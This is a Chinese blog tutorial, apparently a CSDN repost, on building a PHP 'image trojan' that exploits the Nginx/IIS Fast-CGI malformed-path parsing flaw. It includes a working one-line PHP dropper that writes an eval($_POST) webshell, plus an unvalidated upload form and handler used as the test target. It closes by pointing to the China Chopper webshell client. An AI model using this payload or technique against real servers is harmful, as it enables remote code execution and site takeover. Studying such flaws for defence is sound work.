2017-11-03-PHP图片木马

最新推荐文章于 2023-08-20 17:05:58 发布

PFinal社区-【南丞】

最新推荐文章于 2023-08-20 17:05:58 发布

阅读量786

点赞数

文章标签： php java git python laravel

本文链接：https://blog.csdn.net/weixin_41811317/article/details/105660773

版权

layout	title	date	author	desc	in_head
post	PHP图片木马	2017-11-03 09:03:02 +0800	Q九	本测试主要针对的是 IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞基于Windows系统的	<style> .article-content p{ text-indent: 2em; line-height: 1.75rem; }</style>

PHP图片木马实现

运行环境介绍

本测试主要针对的是 IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞

Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的在默认Fast-CGI开启状况下,黑阔上传一个名字为wooyun.jpg，内容为

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的文件，然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php

实验过程

制作图片木马

使用windows自带的 cmd 命令行进行图片木马的制作

A.如下图所示:

准备两个文件一个正常的图片文件一个一句话木马文件

B.如下图所示:

运行上图所写的命令会把两个文件合成一个文件如下图所示:

会看到文件大小会变化

然后用记事本打开两个图片就会发现图片内容发生改变如图

至此一句话木马图片制造完毕！

接下来我们准备测试的代码 :

如图所示我们准备一个上传文件的表单代码如下:

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
<form action="./2.php" method="post" enctype="multipart/form-data">
    <input type="file" name="pic" id="">
    <button type="submit">上传</button>
</form>
</body>
</html>

再准备一个2.php 文件用来处理上传图片,代码如下:

<?php
$file = $_FILES['pic'];
move_uploaded_file($file['tmp_name'],__DIR__.'/1.jpg');

开始试验

OK! 开始运行代码,上传我们生成的图片木马,上传完毕以后如下图所示:

然后我们直接在浏览器中访问图片1.jpg 会看到图片正常显示, 接下来我们访问图片的时候路径如图所示

就会发现在当前文件夹中生成一个 shell.php内容如下 :

试验完毕

ok 剩下的就是上菜刀了！

PFinal社区-【南丞】

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
2017-11-03-PHP图片木马

layout title date author desc in_head post PHP图片木马 2017-11-03 09:03:02 +0800 Q九本测试主要针对的是 IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞基于Windows系统的 <style> .a...
复制链接

扫一扫